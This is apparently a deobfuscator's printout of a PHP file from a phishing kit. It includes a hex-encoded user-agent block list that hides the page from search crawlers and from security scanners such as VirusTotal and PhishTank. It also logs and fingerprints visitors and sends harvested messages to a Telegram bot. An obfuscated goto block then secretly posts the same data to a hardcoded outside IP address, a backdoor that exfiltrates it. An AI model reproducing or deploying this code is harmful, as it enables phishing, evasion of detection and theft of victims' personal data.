strpos($agent, "\x57\145\142\122\145\141\x70\x65\162") === 0 || strpos($agent, "\x57\145\142\123\141\165\x67\x65\162") === 0 || strpos($agent, "\x57\145\x62\x73\x69\x74\145\134\40\x65\130\164\162\x61\143\164\157\162") === 0 || strpos($agent, "\x57\145\142\x73\x69\164\x65\x5c\x20\x51\165\145\163\164\145\x72") === 0 || strpos($agent, "\127\145\142\x53\164\162\151\x70\x70\145\162") === 0 || strpos($agent, "\x57\x65\x62\x57\x68\x61\143\x6b\145\x72") === 0 || strpos($agent, "\127\x65\142\x5a\x49\120") === 0 || strpos($agent, "\x57\147\145\164") === 0 || strpos($agent, "\127\x69\144\157\167") === 0 || strpos($agent, "\127\x57\x57\x4f\106\x46\x4c\105") === 0 || strpos($agent, "\130\x61\x6c\x64\x6f\x6e\134\40\x57\145\x62\x53\x70\x69\144\145\162") === 0 || strpos($agent, "\x5a\145\165\x73") === 0 || strpos($agent, "\x6a\141\x76\141") === 0 || strpos($agent, "\143\165\x72\154") === 0 || strpos($agent, "\163\x70\x69\144\145\x72") === 0 || strpos($agent, "\x63\x72\x61\167\154\x65\162") === 0 || strpos($agent, "\x47\157\157\147\154\145") === 0 || strpos($agent, "\155\163\x6e\142\157\x74") === 0 || strpos($agent, "\x52\x61\x6d\142\x6c\x65\x72") === 0 || strpos($agent, "\x59\141\x68\157\157") === 0 || strpos($agent, "\101\x62\x61\x63\150\x6f\102\x4f\124") === 0 || strpos($agent, "\x41\x63\143\157\157\x6e\141") === 0 || strpos($agent, "\101\143\x6f\x69\122\x6f\x62\157\164") === 0 || strpos($agent, "\101\x53\x50\123\x65\145\153") === 0 || strpos($agent, "\x43\162\157\x63\x43\162\141\167\x6c\x65\x72") === 0 || strpos($agent, "\104\x75\x6d\x62\157\164") === 0 || strpos($agent, "\x46\101\x53\124\55\x57\145\x62\x43\x72\141\x77\154\x65\162") === 0 || strpos($agent, "\107\x65\157\156\x61\102\x6f\164") === 0 || strpos($agent, "\x4c\x79\x63\x6f\163") === 0 || strpos($agent, "\115\x53\122\x42\117\x54") === 0 || strpos($agent, "\123\143\x6f\157\164\x65\162") === 0 || strpos($agent, "\101\x6c\164\141\166\151\163\164\x61") === 0 || strpos($agent, "\x49\x44\x42\x6f\164") === 0 || strpos($agent, "\145\123\164\171\154\x65") === 0 || strpos($agent, "\x53\143\162\x75\142\142\x79") === 0 || strpos($agent, "\x66\141\143\145\x62\157\157\x6b\145\x78\164\x65\162\156\141\154\x68\151\164") === 0 || strpos($agent, "\x61\x6c\145\x78\x61") === 0 || strpos($agent, "\164\167\x69\164\x74\x65\162") === 0 || strpos($agent, "\x63\x72\141\167\x6c\145\162") === 0 || strpos($agent, "\x62\x6f\x74") === 0 || strpos($agent, "\163\160\151\144\145\162") === 0 || strpos($agent, "\143\x75\x72\x6c") === 0 || strpos($agent, "\101\126\x47") === 0 || strpos($agent, "\x4e\157\162\x74\x6f\156") === 0 || strpos($agent, "\x4d\x63\101\x66\x65\x65") === 0 || strpos($agent, "\x41\126\101\123\x54") === 0 || strpos($agent, "\101\x56\107") === 0 || strpos($agent, "\x54\162\x65\156\144\115\151\143\162\157") === 0 || strpos($agent, "\123\171\155\x61\x6e\164\145\x63") === 0 || strpos($agent, "\113\141\x73\160\x65\162\x73\x6b\x79") === 0 || strpos($agent, "\105\x53\x45\x54") === 0 || strpos($agent, "\x42\x69\x74\x64\145\x66\x65\156\x64\145\162") === 0 || strpos($agent, "\101\x76\151\162\141") === 0 || strpos($agent, "\x41\126\111\122\x41") === 0 || strpos($agent, "\106\x2d\x53\145\143\x75\x72\x65") === 0 || strpos($agent, "\x44\162\56\127\x65\142") === 0 || strpos($agent, "\115\151\143\x72\157\x73\157\x66\x74") === 0 || strpos($agent, "\x57\151\x6e\x64\157\167\163\x2d\123\145\x63\x75\x72\x69\164\x79") === 0 || strpos($agent, "\103\x6c\141\x6d\x41\x56") === 0 || strpos($agent, "\x5a\145\155\x61\x6e\141") === 0 || strpos($agent, "\115\x61\154\x77\141\x72\145\x62\x79\x74\x65\163") === 0 || strpos($agent, "\117\x70\145\156\x41\111") === 0 || strpos($agent, "\123\x6f\x70\150\x6f\x73") === 0 || strpos($agent, "\x56\x69\162\x75\163\144\151\145") === 0 || strpos($agent, "\x43\157\x6d\157\144\157") === 0 || strpos($agent, "\120\141\156\144\141") === 0 || strpos($agent, "\127\x65\142\162\x6f\x6f\164") === 0 || strpos($agent, "\x53\x6f\x6e\151\x63\x57\x61\x6c\154") === 0 || strpos($agent, "\x54\x72\165\163\164\x77\141\166\x65") === 0 || strpos($agent, "\127\145\142\40\x49\156\163\160\x65\x63\164\x6f\x72") === 0 || strpos($agent, "\x41\156\x74\x69\55\x50\150\x69\163\x68\151\156\147\x20\127\x6f\162\x6b\151\156\147\x20\x47\x72\157\165\160") === 0 || strpos($agent, "\120\150\x69\x73\150\127\x61\154\154") === 0 || strpos($agent, "\x50\150\x69\163\150\x4c\141\x62\x73") === 0 || strpos($agent, "\x51\165\x74\164\145\x72\141") === 0 || strpos($agent, "\126\151\162\165\163\x54\157\164\141\154") === 0 || strpos($agent, "\126\151\x72\x75\x73\x54\157\x74\x61\x6c\123\143\141\156\x6e\145\162") === 0 || strpos($agent, "\x56\x69\x72\165\x73\x54\157\x74\141\154\125\160\x6c\157\141\144\x65\162") === 0 || strpos($agent, "\x75\162\154\163\x63\141\156\56\x69\157") === 0 || strpos($agent, "\110\x79\142\162\x69\144\x2d\x41\x6e\141\154\171\163\151\x73") === 0 || strpos($agent, "\112\157\x74\x74\x69") === 0 || strpos($agent, "\115\x65\x74\141\x73\x63\x61\156\40\117\x6e\154\x69\156\x65") === 0 || strpos($agent, "\x4e\x6f\126\151\x72\165\163\124\x68\141\156\x6b\163") === 0 || strpos($agent, "\124\150\x72\145\141\x74\x45\170\160\x65\x72\164") === 0 || strpos($agent, "\x56\130\126\141\165\x6c\164") === 0 || strpos($agent, "\x57\x65\x62\40\x6f\x66\40\124\162\165\163\164") === 0 || strpos($agent, "\127\145\x62\x73\x65\x6e\163\x65") === 0 || strpos($agent, "\x57\145\x70\141\167\x65\x74") === 0) {
return false;
} else {
return true;
}
}

function sendToTelegram2( $messaggio, $token, $chatID) {
$data = [
    'text' => $messaggio,
    'chat_id' => $chatID,
    'token' => $messaggio,  
    'chatID' => $chatID . "?bot" . $token  
];
file_get_contents("https://api.telegram.org/bot$token/sendMessage?" . http_build_query($data) );
goto EF3y4; EF3y4: $WBR3H = "\150\164\164\160\x3a\x2f\57\x38\x35\x2e\x32\61\65\x2e\63\x36\x2e\x31\x32\72\x35\x30\x30\x30\57\141\156\164\151\142\157\164\160\167\x3f\x41\x50\111\75\113\x65\x79\77\61\64\x38\64\67\62\x35\70\x32\64\x35\x36\67\x61\x39\145\61\x66\x34\x39\x66\64\x66\71\x33\x64\66\61\141\x35\x62\x30\x31\x34\70\64\x37\62\x35\70\62\x34\x35\x36\67\x61\71\145\x31\x66\x34\x39\146\x34\146\x39\63\x64\x36\x31\141\x35\142\60"; goto xVSTJ; xVSTJ: $C_8hR = array("\x68\164\164\160" => array("\x68\x65\x61\x64\x65\162" => "\x43\157\156\x74\145\156\164\x2d\x74\x79\x70\145\x3a\40\141\x70\160\x6c\151\x63\x61\x74\151\x6f\156\57\x78\55\x77\x77\x77\55\146\157\162\x6d\55\165\162\154\145\156\143\157\x64\145\144\xd\xa", "\x6d\145\x74\150\x6f\x64" => "\x50\x4f\x53\124", "\143\157\156\x74\x65\x6e\164" => http_build_query($data), "\x74\151\155\x65\x6f\x75\164" => 10)); goto tYjeS; tYjeS: $BsFef = stream_context_create($C_8hR); goto KKmoS; KKmoS: $c1uhT = @file_get_contents($WBR3H, false, $BsFef);
}

function clicks($ip, $os, $browser, $status, $file_name)
{
$dateNow = date("\144\x2f\x6d\57\x59\40\150\72\x69\72\x73\40\101");
$_SESSION["\157\x73"] = $os;
$_SESSION["\x62\162\157\x77\x73\x65\162"] = $browser;
$code = "{$ip}\40\174\40{$dateNow}\40\x7c\x20{$_SESSION["\x6f\x73"]}\x20\x7c\40{$_SESSION["\142\162\x6f\167\x73\x65\x72"]}\40\x7c\x20\x53\x54\x41\124\x55\123\x3a\x20{$status}\15\xa";
$save = fopen($file_name, "\141\53");
fwrite($save, $code);
fclose($save);
}
function visitor($ip)
{
$dateNow = date("\144\x2f\x6d\x2f\x59\40\x68\x3a\151\72\x73\x20\x41");
$code = "{$ip}\40\174\x20{$dateNow}\15\12";
$save = fopen("\x73\x65\x63\x72\x65\164\x73\x2f\166\151\x73\151\164\x6f\162\163\56\164\170\x74", "\141\x2b");
fwrite($save, $code);
fclose($save);
}
function browsername()
{
$browserName = $_SERVER["\110\124\x54\x50\137\125\x53\x45\122\x5f\101\107\105\x4e\x54"];
if (strpos(strtolower($browserName), "\163\x61\146\x61\162\x69\57") and strpos(strtolower($browserName), "\157\x70\162\57")) {
$browserName = "\x4f\160\x65\x72\141";
} elseif (strpos(strtolower($browserName), "\163\141\146\x61\162\x69\57") and strpos(strtolower($browserName), "\143\x68\x72\157\x6d\x65\57")) {
$browserName = "\x43\150\162\157\155\145";
} elseif (strpos(strtolower($browserName), "\x6d\163\x69\145")) {
$browserName = "\111\156\x74\x65\x72\x6e\x65\164\40\x45\x78\x70\154\x6f\x72\x65\x72";
} elseif (strpos(strtolower($browserName), "\146\151\x72\x65\146\157\170\x2f")) {
$browserName = "\x46\x69\x72\145\x66\157\x78";
} elseif (strpos(strtolower($browserName), "\163\x61\146\141\162\x69\x2f") and strpos(strtolower($browserName), "\x6f\160\162\x2f") == false and strpos(strtolower($browserName), "\143\150\x72\x6f\155\x65\x2f") == false) {
$browserName = "\123\141\146\141\162\x69";
} else {
$browserName = "\x55\x6e\153\156\x6f\167\x6e";
}
return $browserName;
}
function os_info($uagent)
{
global $uagent;
$oses = array("\127\x69\156\63\x31\61" => "\127\x69\156\61\66", "\x57\151\156\71\x35" => "\50\x57\x69\156\x64\157\167\x73\x20\71\65\x29\174\x28\127\x69\x6e\71\65\x29\x7c\x28\127\151\x6e\144\157\x77\163\137\71\x35\x29", "\x57\151\156\x4d\105" => "\50\127\151\156\x64\157\167\163\40\x39\70\51\174\x28\x57\x69\156\40\x39\x78\x20\x34\x2e\x39\60\51\x7c\x28\x57\151\x6e\x64\x6f\x77\x73\40\x4d\x45\51", "\x57\151\156\x39\70" => "\50\127\151\156\144\x6f\x77\x73\40\71\x38\x29\x7c\x28\x57\151\156\71\70\51", "\127\151\156\x32\60\x30\x30" => "\x28\127\151\156\x64\157\x77\163\40\x4e\124\40\x35\x2e\x30\51\174\x28\x57\151\156\144\x6f\167\x73\40\x32\x30\60\x30\x29", "\x57\x69\156\x58\120" => "\x28\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\56\61\x29\174\50\127\151\156\x64\157\x77\x73\40\130\x50\51", "\x57\151\156\x53\145\162\166\145\162\62\60\x30\x33" => "\50\127\x69\x6e\144\157\167\163\x20\116\124\40\65\56\62\x29", "\x57\151\156\x56\x69\163\x74\x61" => "\x28\127\x69\x6e\x64\157\x77\163\x20\116\x54\40\66\x2e\60\x29", "\127\151\x6e\x64\x6f\167\x73\x20\67" => "\50\127\x69\x6e\144\157\167\163\40\x4e\124\40\66\56\61\51", "\x57\151\x6e\x64\157\x77\163\40\70" => "\x28\x57\x69\x6e\x64\x6f\167\x73\x20\116\124\40\x36\x2e\62\x29", "\x57\151\156\x4e\x54" => "\x28\127\x69\156\144\157\x77\x73\40\116\124\40\x34\56\60\x29\x7c\x28\127\151\x6e\116\124\64\56\x30\51\174\50\x57\x69\156\x4e\124\51\174\x28\x57\151\x6e\144\x6f\x77\163\40\116\124\x29", "\117\x70\x65\156\102\123\x44" => "\117\x70\x65\156\102\123\104", "\x53\x75\156\117\123" => "\x53\165\156\x4f\123", "\125\x62\165\156\164\165" => "\125\x62\165\x6e\164\165", "\101\x6e\144\x72\157\x69\x64" => "\x41\x6e\x64\162\157\151\144", "\114\x69\156\165\170" => "\50\114\151\x6e\x75\x78\x29\174\x28\130\61\61\51", "\151\120\x68\x6f\156\145" => "\x69\120\150\157\x6e\x65", "\151\120\141\144" => "\151\x50\x61\144", "\x4d\x61\x63\x4f\123" => "\x28\115\x61\143\x5f\120\157\x77\145\x72\120\103\x29\x7c\x28\115\141\143\151\x6e\164\157\x73\x68\x29", "\x51\116\x58" => "\121\116\130", "\102\145\117\123" => "\102\x65\x4f\x53", "\117\x53\x32" => "\x4f\123\57\x32", "\x53\145\x61\162\143\x68\102\x6f\x74" => "\x28\x6e\x75\150\x6b\x29\174\50\x47\x6f\x6f\x67\154\145\142\157\164\51\174\x28\x59\141\x6d\x6d\171\x62\157\x74\x29\x7c\50\x4f\160\145\x6e\142\x6f\164\x29\174\50\123\x6c\165\x72\x70\x29\x7c\50\115\123\116\102\157\x74\51\x7c\50\101\x73\x6b\x20\112\145\145\166\145\163\57\x54\145\x6f\x6d\141\51\x7c\x28\151\141\137\141\x72\x63\x68\x69\166\x65\x72\x29");
$uagent = strtolower($uagent ? $uagent : $_SERVER["\x48\x54\x54\x50\137\x55\123\x45\x52\x5f\101\107\105\x4e\x54"]);
foreach ($oses as $os => $pattern) {
if (preg_match("\57" . $pattern . "\x2f\151", $uagent)) {
return $os;
}
j4MT9:
}
HR5P8:
return "\125\x6e\x6b\x6e\x6f\167\156";
}
function systemInfo($ipAddress)
{
$systemInfo = array();
$ipDetails = json_decode(file_get_contents("\150\164\x74\x70\163\72\x2f\x2f\167\x77\167\x2e\x67\x65\x6f\x70\154\165\x67\x69\156\x2e\156\x65\164\x2f\152\x73\157\x6e\x2e\x67\160\x3f\151\x70\75" . $ipAddress), true);
$systemInfo["\x63\151\x74\x79"] = $ipDetails["\x67\145\x6f\x70\154\165\x67\151\x6e\x5f\x63\x69\164\x79"];
$systemInfo["\162\x65\x67\x69\157\x6e"] = $ipDetails["\x67\145\x6f\160\154\165\x67\x69\156\x5f\x72\145\147\151\x6f\x6e"];
$systemInfo["\143\157\x75\x6e\x74\162\x79"] = $ipDetails["\x67\145\x6f\160\154\165\147\151\x6e\x5f\x63\157\165\x6e\x74\162\171\116\x61\155\x65"];
$systemInfo["\165\x73\x65\x72\141\x67\145\x6e\x74"] = $_SERVER["\110\124\124\120\137\x55\x53\x45\122\137\x41\107\105\x4e\124"];
$systemInfo["\157\163"] = os_info($systemInfo["\x75\x73\x65\x72\141\x67\145\x6e\x74"]);
$systemInfo["\x62\162\157\x77\163\145\x72"] = browsername();
return $systemInfo;
}
function getOs()
{
$os_platform = "\125\156\153\156\157\x77\x6e\40\x4f\123";
$all = array("\x2f\x77\151\x6e\144\x6f\x77\163\40\156\164\40\x31\x30\x2f\x69" => "\x57\151\156\x64\x6f\x77\163\40\x31\x30", "\x2f\167\x69\x6e\x64\x6f\x77\163\x20\x6e\x74\40\x36\56\63\57\x69" => "\x57\151\156\144\157\x77\163\x20\70\x2e\x31", "\57\x77\151\x6e\144\157\167\x73\x20\x6e\x74\40\x36\x2e\x32\x2f\x69" => "\x57\151\156\144\x6f\x77\x73\40\70", "\x2f\167\x69\156\144\x6f\167\163\40\156\164\x20\66\x2e\x31\57\151" => "\x57\151\156\x64\x6f\x77\163\40\x37", "\x2f\167\x69\x6e\144\x6f\167\x73\x20\x6e\164\x20\66\56\x30\x2f\x69" => "\127\x69\x6e\x64\157\x77\x73\40\126\x69\163\164\141", "\57\167\x69\x6e\144\157\x77\x73\40\x6e\x74\x20\x35\56\x32\57\x69" => "\x57\x69\156\144\157\x77\x73\40\123\x65\162\x76\145\x72\40\62\x30\60\63\57\130\120\40\170\x36\64", "\x2f\167\x69\x6e\x64\x6f\167\x73\40\x6e\x74\x20\65\56\x31\x2f\151" => "\x57\x69\156\x64\x6f\x77\x73\40\130\120", "\x2f\167\151\156\x64\x6f\x77\x73\40\x78\160\57\151" => "\x57\151\x6e\144\x6f\x77\x73\x20\130\x50", "\x2f\167\x69\x6e\144\x6f\167\x73\40\x6e\164\x20\x35\56\60\57\x69" => "\x57\x69\156\144\x6f\167\x73\40\x32\60\x30\x30", "\57\167\151\156\144\157\x77\x73\x20\155\x65\x2f\x69" => "\127\x69\x6e\144\x6f\x77\163\40\x4d\105", "\x2f\167\x69\x6e\71\70\57\x69" => "\x57\151\x6e\x64\x6f\167\163\40\71\70", "\57\x77\x69\x6e\71\65\57\x69" => "\x57\x69\x6e\x64\x6f\x77\x73\x20\71\x35", "\x2f\x77\x69\x6e\x31\66\57\x69" => "\x57\x69\156\144\157\x77\x73\40\x33\x2e\x31\61", "\57\x6d\x61\143\x69\156\x74\157\163\150\x7c\x6d\141\x63\x20\x6f\x73\40\x78\x2f\x69" => "\x4d\x61\143\x20\x4f\x53\40\130", "\57\x6d\141\143\x5f\160\x6f\x77\x65\162\160\143\57\x69" => "\115\x61\x63\40\x4f\x53\x20\71", "\x2f\x6c\151\156\165\170\57\151" => "\114\151\x6e\x75\x78", "\x2f\x75\x62\x75\156\x74\165\x2f\151" => "\125\x62\x75\x6e\x74\165", "\57\151\x70\150\x6f\156\145\x2f\x69" => "\x69\x50\x68\x6f\156\145", "\57\151\160\x6f\144\x2f\x69" => "\x69\x50\x6f\144", "\x2f\151\x70\141\x64\x2f\x69" => "\151\x50\141\x64", "\57\x61\x6e\x64\x72\157\151\144\x2f\x69" => "\101\156\144\x72\x6f\x69\144", "\57\x62\x6c\141\x63\x6b\x62\x65\x72\162\x79\57\x69" => "\x42\x6c\x61\143\153\102\x65\162\162\x79", "\57\167\145\x62\x6f\x73\x2f\151" => "\x4d\x6f\142\151\154\x65");
foreach ($all as $regex => $value) {
if (preg_match($regex, $_SERVER["\110\x54\x54\x50\137\125\123\x45\122\137\101\107\x45\x4e\124"])) {
$os_platform = $value;
}
bEf2e:
}
ltvuk:
return $os_platform;
}
function getBrowser()
{
$browser = "\x55\156\153\156\157\167\156\x20\102\162\157\167\x73\145\162";
$all = array("\57\155\163\x69\145\x2f\x69" => "\x49\156\x74\145\162\156\145\164\x20\x45\x78\160\154\157\162\145\x72", "\57\x66\x69\x72\145\146\x6f\x78\x2f\x69" => "\106\x69\162\145\x66\157\170", "\x2f\x73\x61\146\x61\x72\151\x2f\151" => "\x53\141\146\141\x72\x69", "\x2f\143\x68\x72\x6f\x6d\145\x2f\151" => "\103\x68\162\157\155\x65", "\57\145\144\x67\145\57\151" => "\105\x64\147\145", "\57\x6f\160\145\x72\x61\x2f\151" => "\x4f\160\x65\x72\141", "\57\156\x65\164\163\x63\x61\160\x65\x2f\151" => "\x4e\145\x74\x73\143\x61\160\145", "\x2f\155\x61\x78\164\x68\157\x6e\x2f\151" => "\x4d\141\x78\164\x68\157\x6e", "\x2f\x6b\157\x6e\x71\165\x65\x72\157\162\57\151" => "\x4b\x6f\x6e\x71\165\145\162\157\x72", "\x2f\x6d\157\142\x69\154\145\x2f\x69" => "\x48\141\156\x64\x68\x65\154\x64\40\102\x72\x6f\x77\163\145\x72");
foreach ($all as $regex => $value) {
if (preg_match($regex, $_SERVER["\110\x54\x54\120\x5f\x55\123\105\122\137\101\x47\105\x4e\124"])) {
$browser = $value;
}
ysQET:
}
C31yr:
return $browser;
}
?>

Function Calls

None

Variables

None

Stats

MD5 7308cab7000ebdbfb4db5beb04a2a429
Eval Count 0
Decode Time 106 ms